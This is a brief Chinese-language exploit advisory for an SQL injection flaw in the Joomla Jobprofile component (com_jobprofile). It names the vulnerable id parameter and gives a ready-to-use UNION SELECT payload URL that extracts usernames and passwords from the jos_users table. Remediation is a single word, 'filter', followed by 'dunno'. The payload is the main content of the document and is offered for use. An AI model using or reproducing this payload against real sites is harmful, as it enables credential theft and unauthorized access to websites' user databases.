标题Joomla Component Jobprofile (com_jobprofile) SQL Injection Vulnerability

作者: kaMtiEz www.2cto.com

 

[软件信息]

 

[+] 开发者: http://www.thakkertech.com/

[+] INFO : http://extensions.joomla.org/extensions/ads-a-affiliates/jobs-a-recruitment/11924

[+] 下载: http://www.thakkertech.com/products/joomla-extensions/components/jobprofile-joomla-component-detail.html

 

[问题文件]

 

 http://www.2cto.com /[kaMtiEz]/index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=[SQL]

 

[ XpL ]

 

 http://www.2cto.com /[kaMtiEz]/index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=-1+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9+from+jos_users--

 

[ 修复] 过滤

 

 dunno :">